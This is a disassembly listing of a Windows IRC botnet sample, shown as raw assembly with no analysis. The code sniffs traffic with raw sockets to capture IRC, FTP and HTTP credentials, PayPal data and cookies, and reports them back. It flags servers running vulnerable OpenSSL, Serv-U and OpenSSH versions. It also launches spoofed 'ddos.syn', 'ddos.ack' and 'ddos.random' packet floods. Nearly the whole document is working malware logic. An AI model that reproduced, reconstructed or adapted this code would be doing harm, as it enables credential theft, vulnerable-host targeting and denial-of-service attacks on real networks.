--------------------------------------------------------------------------- loc_412A31: ; CODE XREF: sub_4127AD+1EFj cmp esi, 1 jz short loc_412A4A cmp esi, 3 jz short loc_412A4A cmp esi, 2 jz short loc_412A45 cmp esi, 4 jnz short loc_412A5F loc_412A45: ; CODE XREF: sub_4127AD+291j push [ebp+arg_0] jmp short loc_412A51 ; --------------------------------------------------------------------------- loc_412A4A: ; CODE XREF: sub_4127AD+287j ; sub_4127AD+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax ; Source loc_412A51: ; CODE XREF: sub_4127AD+29Bj lea eax, [ebp+Dst] push eax ; Dest call _strcat pop ecx pop ecx loc_412A5F: ; CODE XREF: sub_4127AD+12Ej ; sub_4127AD+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_44CECC jl loc_412897 cmp [ebp+var_4], 0 jz loc_412808 push [ebp+var_D8] call sub_40BAAA pop ecx push 0 call ds:dword_4F63D4 ; ExitThread sub_4127AD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A8E proc near ; DATA XREF: sub_401CC7+41ABo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h Str = byte ptr -1028Ch Dest = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call __alloca_probe mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4E4220 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AFA9 pop ecx push eax call dword_4E4260 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4E42A0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_412B63 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44D804 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412B46 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D6C add esp, 14h loc_412B46: ; CODE XREF: sub_412A8E+96j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_30] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_412B63: ; CODE XREF: sub_412A8E+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_457134[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E424C ; bind cmp eax, 0FFFFFFFFh jnz short loc_412BE8 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44D830 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412BC4 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D6C add esp, 14h loc_412BC4: ; CODE XREF: sub_412A8E+114j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push edi call dword_4E42B8 ; closesocket push [ebp+var_30] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_412BE8: ; CODE XREF: sub_412A8E+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4E41CC ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412C6B call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44D85C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412C47 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D6C add esp, 14h loc_412C47: ; CODE XREF: sub_412A8E+197j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push edi call dword_4E42B8 ; closesocket push [ebp+var_30] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_412C6B: ; CODE XREF: sub_412A8E+177j push ebx mov ebx, offset a_login ; ":.login" loc_412C71: ; CODE XREF: sub_412A8E+21Bj ; sub_412A8E+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_4E4238 ; recv cmp eax, 0FFFFFFFFh jz loc_412D9E cmp [ebp+var_102AB], 6 jnz short loc_412C71 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412C71 lea eax, [ebp+Str] push offset aPsniff_0 ; "[PSNIFF]" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412C71 lea eax, [ebp+Str] push offset asc_44D8C4 ; "-" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412C71 mov eax, ebx xor edi, edi test eax, eax jz loc_412C71 mov [ebp+arg_0], ebx loc_412CFA: ; CODE XREF: sub_412A8E+287j push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412D1C inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412CFA jmp loc_412C71 ; --------------------------------------------------------------------------- loc_412D1C: ; CODE XREF: sub_412A8E+27Dj lea eax, [ebp+Str] push eax push [ebp+var_102A0] call dword_4E4150 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_4E42AC ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_44CFAC[eax*8] push off_44CF88[eax*4] lea eax, [ebp+Dest] push offset asc_44D8D4 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_412D8C push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D6C add esp, 14h loc_412D8C: ; CODE XREF: sub_412A8E+2DCj lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx jmp loc_412C71 ; --------------------------------------------------------------------------- loc_412D9E: ; CODE XREF: sub_412A8E+20Ej call dword_4E41B4 ; WSAGetLastError push eax push offset asc_44D88C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_412DE4 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D6C add esp, 14h loc_412DE4: ; CODE XREF: sub_412A8E+334j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push [ebp+var_4] call dword_4E42B8 ; closesocket push [ebp+var_30] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread sub_412A8E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412E0A proc near ; CODE XREF: sub_413119+213p ; sub_413119+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4E6FD0, eax mov eax, offset dword_4E6FD0 retn sub_412E0A endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412E19(char *Str) sub_412E19 proc near ; CODE XREF: sub_413119+2BFp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aBotSniff ; "Bot sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412E33 loc_412E2F: ; CODE XREF: sub_412E19+29j ; sub_412E19+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412E33: ; CODE XREF: sub_412E19+14j push offset aPiavnc ; "##piavnc##" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E2F push offset aPsniff_1 ; "[PSNIFF]:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E2F push offset aPsniff_2 ; "PSNIFF//" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E2F push offset aJoin_1 ; "JOIN #" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412E7B loc_412E77: ; CODE XREF: sub_412E19+71j ; sub_412E19+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412E7B: ; CODE XREF: sub_412E19+5Cj push offset a302 ; "302 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset a366 ; "366 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset a_login_0 ; ":.login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset aLogin_0 ; ":!login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset aLogin_1 ; ":!Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset a_login_1 ; ":.Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset a_ident ; ":.ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E77 push offset aIdent_0 ; ":!ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_412E77 push offset a_hashin ; ":.hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_412E77 push offset aHashin ; ":!hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412E19 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412F30(char *Str) sub_412F30 proc near ; CODE XREF: sub_413119+2F8p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aIrcSniff ; "IRC sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F4A loc_412F46: ; CODE XREF: sub_412F30+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F4A: ; CODE XREF: sub_412F30+14j push offset aPiavnc ; "##piavnc##" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F46 push offset aOper ; "OPER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F70 loc_412F6C: ; CODE XREF: sub_412F30+4Fj ; sub_412F30+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F70: ; CODE XREF: sub_412F30+3Aj push offset aNick_2 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F6C push offset aOper_0 ; "oper " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F6C push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412F30 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412FA6(char *Str) sub_412FA6 proc near ; CODE XREF: sub_413119+32Ep Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aFtpSniff ; "FTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412FC0 loc_412FBC: ; CODE XREF: sub_412FA6+29j ; sub_412FA6+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412FC0: ; CODE XREF: sub_412FA6+14j push offset aPiavnc ; "##piavnc##" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412FBC push offset aNick_3 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412FBC push offset a220 ; "220 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412FF7 loc_412FF3: ; CODE XREF: sub_412FA6+60j ; sub_412FA6+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: sub_412FA6+4Bj push offset a230 ; "230 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412FF3 push offset aUser_2 ; "USER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412FF3 push offset aPass_0 ; "PASS " push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412FA6 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41302D(char *Str) sub_41302D proc near ; CODE XREF: sub_413119+35Fp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aHttpSniff ; "HTTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_413047 loc_413043: ; CODE XREF: sub_41302D+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413047: ; CODE XREF: sub_41302D+14j push offset aPiavnc ; "##piavnc##" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413043 push offset aPaypal ; "paypal" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41306D loc_413069: ; CODE XREF: sub_41302D+4Fj ; sub_41302D+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41306D: ; CODE XREF: sub_41302D+3Aj push offset aPaypal_0 ; "PAYPAL" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413069 push offset aPaypal_com ; "PAYPAL.COM" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413069 push offset aPaypal_com_0 ; "paypal.com" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413069 push offset aSetCookie ; "Set-Cookie:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_41302D endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4130B4(char *Str) sub_4130B4 proc near ; CODE XREF: sub_413119:loc_4134DEp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aVulnSniff ; "VULN sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4130CE loc_4130CA: ; CODE XREF: sub_4130B4+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4130CE: ; CODE XREF: sub_4130B4+14j push offset aPiavnc ; "##piavnc##" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4130CA push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4130F4 loc_4130F0: ; CODE XREF: sub_4130B4+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130F4: ; CODE XREF: sub_4130B4+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4130F0 push offset aOpenssh_2 ; "OpenSSH_2" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4130B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413119 proc near ; DATA XREF: sub_401CC7+42FBo Dst = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h Str = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h Dest = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4E4234 ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4E42A4 ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx ; Size push dword ptr [eax] ; Src lea eax, [ebp+var_8] push eax ; Dst call _memcpy mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4E42A0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_4131BF pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4131BF: ; CODE XREF: sub_413119+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4E424C ; bind cmp eax, 0FFFFFFFFh jnz short loc_413235 call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DA7C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_413211 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409D6C add esp, 14h loc_413211: ; CODE XREF: sub_413119+D6j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push edi call dword_4E42B8 ; closesocket push [ebp+var_34] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_413235: ; CODE XREF: sub_413119+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4E41CC ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4132BB call dword_4E41B4 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44DAA8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_413297 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409D6C add esp, 14h loc_413297: ; CODE XREF: sub_413119+15Cj lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx push edi call dword_4E42B8 ; closesocket push [ebp+var_34] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread loc_4132BB: ; CODE XREF: sub_413119+13Cj mov esi, 200h loc_4132C0: ; CODE XREF: sub_413119+1D6j ; sub_413119+1FBj ... mov edi, 0FFFFh lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push edi push eax push [ebp+var_10] call dword_4E4238 ; recv cmp [ebp+var_113AF], 6 jnz short loc_4132C0 push [ebp+var_113A4] mov edi, ds:dword_4F6534 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_4132C0 cmp [ebp+arg_0], 19h jz short loc_4132C0 cmp edi, 6Eh jz short loc_4132C0 cmp edi, 19h jz short loc_4132C0 push [ebp+var_113AC] call sub_412E0A pop ecx push dword ptr [eax] call ds:dword_4F6538 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_35 ; "%s" push eax ; Dest call _sprintf push [ebp+var_113A8] call sub_412E0A add esp, 10h push dword ptr [eax] call ds:dword_4F6538 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_36 ; "%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] mov [ebp+var_4], ebx push eax ; Str call _strlen add esp, 10h test eax, eax jle short loc_4133BE loc_41338A: ; CODE XREF: sub_413119+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+Str], 0Dh lea eax, [ebp+eax+Str] jnz short loc_4133A1 mov byte ptr [eax], 20h loc_4133A1: ; CODE XREF: sub_413119+283j cmp byte ptr [eax], 0Ah jnz short loc_4133A9 mov byte ptr [eax], 20h loc_4133A9: ; CODE XREF: sub_413119+28Bj inc [ebp+var_4] lea eax, [ebp+Str] push eax ; Str call _strlen cmp [ebp+var_4], eax pop ecx jl short loc_41338A loc_4133BE: ; CODE XREF: sub_413119+26Fj cmp [ebp+arg_0], 50h jz loc_413471 cmp edi, 50h jz loc_413471 lea eax, [ebp+Str] push eax ; Str call sub_412E19 test al, al pop ecx jz short loc_413405 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44DAE0 jmp loc_4134A0 ; --------------------------------------------------------------------------- loc_413405: ; CODE XREF: sub_413119+2C7j cmp edi, 50h jz short loc_413471 lea eax, [ebp+Str] push eax ; Str call sub_412F30 test al, al pop ecx jz short loc_41343B lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44DB14 jmp short loc_4134A0 ; --------------------------------------------------------------------------- loc_41343B: ; CODE XREF: sub_413119+300j cmp edi, 50h jz short loc_413471 lea eax, [ebp+Str] push eax ; Str call sub_412FA6 test al, al pop ecx jz short loc_413471 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44DB48 jmp short loc_4134A0 ; --------------------------------------------------------------------------- loc_413471: ; CODE XREF: sub_413119+2A9j ; sub_413119+2B2j ... lea eax, [ebp+Str] push eax ; Str call sub_41302D test al, al pop ecx lea eax, [ebp+Str] push eax jz short loc_4134DE lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset asc_44DB7C ; "-" loc_4134A0: ; CODE XREF: sub_413119+2E7j ; sub_413119+320j ... lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 20h cmp [ebp+var_2C], ebx jnz loc_4132C0 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409D6C add esp, 14h jmp loc_4132C0 ; --------------------------------------------------------------------------- loc_4134DE: ; CODE XREF: sub_413119+36Ej call sub_4130B4 test al, al pop ecx jz loc_4132C0 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44DBB4 jmp short loc_4134A0 sub_413119 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41350C proc near ; DATA XREF: sub_401CC7+6694o Dest = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch Str = byte ptr -10Ch Str1 = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand lea eax, [ebp+var_18C] push eax ; int lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+var_20C] push eax ; Str lea eax, [ebp+var_28C] push eax ; int call sub_4138F8 add esp, 14h push eax lea eax, [ebp+Dest] push offset asc_44DBEC ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_41359F push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_294] ; int call sub_409D6C add esp, 14h loc_41359F: ; CODE XREF: sub_41350C+71j lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_290] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_41350C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4135C1(int,int,char *Str1,int,int) sub_4135C1 proc near ; CODE XREF: sub_4138F8+40p var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h Dst = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str1 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4E4190 ; WSAStartup test eax, eax jz short loc_413601 xor eax, eax jmp loc_4138F4 ; --------------------------------------------------------------------------- loc_413601: ; CODE XREF: sub_4135C1+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4E42C4 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4138EC push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4E4200 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4138E2 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4E4220 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4E4220 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4E4220 ; htons mov [ebp+var_12], ax call _rand movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4E4220 ; htons push 12345678h mov [ebp+var_14], ax call dword_4E421C ; htonl push offset aDdos_syn_0 ; "ddos.syn" mov [ebp+var_10], eax push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4136D1 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_413725 ; --------------------------------------------------------------------------- loc_4136D1: ; CODE XREF: sub_4135C1+105j push offset aDdos_ack_0 ; "ddos.ack" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4136ED mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_413725 ; --------------------------------------------------------------------------- loc_4136ED: ; CODE XREF: sub_4135C1+121j push offset aDdos_random_0 ; "ddos.random" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_413725 call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_413725: ; CODE XREF: sub_4135C1+10Ej ; sub_4135C1+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4E4220 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+Str1], ebx call ds:dword_4F62F8 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_4F643C ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call __allmul add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413773: ; CODE XREF: sub_4135C1+2E2j ; sub_4135C1+2F0j mov [ebp+var_4], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4E4220 ; htons mov [ebp+var_14], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4E4220 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4E421C ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4E4220 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] 